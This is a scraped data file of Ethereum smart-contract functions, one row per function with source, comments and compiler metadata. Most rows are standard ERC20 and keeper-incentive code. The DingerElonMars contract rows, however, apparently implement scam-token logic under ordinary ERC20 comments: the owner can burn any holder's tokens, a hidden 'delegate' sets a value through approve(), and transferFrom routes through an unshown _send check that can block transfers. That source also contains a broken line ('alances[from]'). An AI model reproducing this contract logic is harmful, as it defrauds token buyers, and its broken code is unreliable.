* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2121,
2245
]
} | 11,267 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2453,
2631
]
} | 11,268 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2689,
2845
]
} | 11,269 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2987,
3159
]
} | 11,270 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amou... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
3628,
3950
]
} | 11,271 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | increaseAllowance | function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
4354,
4573
]
} | 11,272 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | decreaseAllowance | function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
5071,
5341
]
} | 11,273 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer am... | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
*... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
5826,
6310
]
} | 11,274 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | _mint | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
6586,
6907
]
} | 11,275 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address... | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
7234,
7595
]
} | 11,276 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amoun... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
8030,
8381
]
} | 11,277 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20Burnable | abstract contract ERC20Burnable is ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting... | /**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/ | NatSpecMultiLine | burn | function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
| /**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
152,
246
]
} | 11,278 |
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20Burnable | abstract contract ERC20Burnable is ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting... | /**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/ | NatSpecMultiLine | burnFrom | function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
| /**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
560,
856
]
} | 11,279 |
ButterBatchProcessing | contracts/core/utils/KeeperIncentivized.sol | 0xcd979a9219db9a353e29981042a509f2e7074d8b | Solidity | KeeperIncentivized | abstract contract KeeperIncentivized {
/**
* @notice Role ID for KeeperIncentive
* @dev Equal to keccak256("KeeperIncentive")
*/
bytes32 public constant KEEPER_INCENTIVE = 0x35ed2e1befd3b2dcf1ec7a6834437fa3212881ed81fd3a13dc97c3438896e1ba;
/**
* @notice Process the specified incentive with `msg.se... | /**
* @notice Provides modifiers and internal functions for processing keeper incentives
* @dev Derived contracts using `KeeperIncentivized` must also inherit `ContractRegistryAccess`
* and override `_getContract`.
*/ | NatSpecMultiLine | _handleKeeperIncentive | function _handleKeeperIncentive(
bytes32 _contractName,
uint8 _index,
address _keeper
) internal {
_keeperIncentive().handleKeeperIncentive(_contractName, _index, _keeper);
}
| /**
* @notice Process a keeper incentive
* @param _contractName bytes32 name of calling contract
* @param _index uint8 incentive ID
* @param _keeper address of keeper to reward
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | GNU GPLv3 | {
"func_code_index": [
795,
991
]
} | 11,280 | |
ButterBatchProcessing | contracts/core/utils/KeeperIncentivized.sol | 0xcd979a9219db9a353e29981042a509f2e7074d8b | Solidity | KeeperIncentivized | abstract contract KeeperIncentivized {
/**
* @notice Role ID for KeeperIncentive
* @dev Equal to keccak256("KeeperIncentive")
*/
bytes32 public constant KEEPER_INCENTIVE = 0x35ed2e1befd3b2dcf1ec7a6834437fa3212881ed81fd3a13dc97c3438896e1ba;
/**
* @notice Process the specified incentive with `msg.se... | /**
* @notice Provides modifiers and internal functions for processing keeper incentives
* @dev Derived contracts using `KeeperIncentivized` must also inherit `ContractRegistryAccess`
* and override `_getContract`.
*/ | NatSpecMultiLine | _keeperIncentive | function _keeperIncentive() internal view returns (IKeeperIncentive) {
return IKeeperIncentive(_getContract(KEEPER_INCENTIVE));
}
| /**
* @notice Return an IKeeperIncentive interface to the registered KeeperIncentive contract
* @return IKeeperIncentive keeper incentive interface
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | GNU GPLv3 | {
"func_code_index": [
1157,
1294
]
} | 11,281 | |
ButterBatchProcessing | contracts/core/utils/KeeperIncentivized.sol | 0xcd979a9219db9a353e29981042a509f2e7074d8b | Solidity | KeeperIncentivized | abstract contract KeeperIncentivized {
/**
* @notice Role ID for KeeperIncentive
* @dev Equal to keccak256("KeeperIncentive")
*/
bytes32 public constant KEEPER_INCENTIVE = 0x35ed2e1befd3b2dcf1ec7a6834437fa3212881ed81fd3a13dc97c3438896e1ba;
/**
* @notice Process the specified incentive with `msg.se... | /**
* @notice Provides modifiers and internal functions for processing keeper incentives
* @dev Derived contracts using `KeeperIncentivized` must also inherit `ContractRegistryAccess`
* and override `_getContract`.
*/ | NatSpecMultiLine | _getContract | function _getContract(bytes32 _name) internal view virtual returns (address);
| /**
* @notice Get a contract address by name from the contract registry
* @param _name bytes32 contract name
* @return contract address
* @dev Users of this abstract contract should also inherit from `ContractRegistryAccess`
* and override `_getContract` in their implementation.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | GNU GPLv3 | {
"func_code_index": [
1605,
1684
]
} | 11,282 | |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() virtual public view returns (uint);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
110,
171
]
} | 11,283 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address tokenOwner) virtual public view returns (uint balance);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
250,
335
]
} | 11,284 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
610,
714
]
} | 11,285 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address to, uint tokens) virtual public returns (bool success);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
934,
1018
]
} | 11,286 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint tokens) virtual public returns (bool success);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
1678,
1766
]
} | 11,287 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
2076,
2178
]
} | 11,288 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | totalSupply | function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
| /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
1571,
1691
]
} | 11,289 | ||
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | burn | function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
| /**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
1942,
2228
]
} | 11,290 | ||
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | approve | function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
3176,
3432
]
} | 11,291 | ||
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | transferFrom | function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
alances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = ... | /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
4169,
4588
]
} | 11,292 | ||
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | allowance | function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| /**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
4739,
4892
]
} | 11,293 | ||
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool pub... | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | _transfer | function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanc... | /**
* Internal transfer, only can be called by this contract
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
1727,
2734
]
} | 11,294 | |
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool pub... | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | transfer | function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
| /**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
2976,
3149
]
} | 11,295 | |
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool pub... | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
... | /**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
3464,
3856
]
} | 11,296 | |
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool pub... | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | approve | function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
| /**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
4156,
4386
]
} | 11,297 | |
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool pub... | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraD... | /**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to s... | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
4820,
5258
]
} | 11,298 | |
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool pub... | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
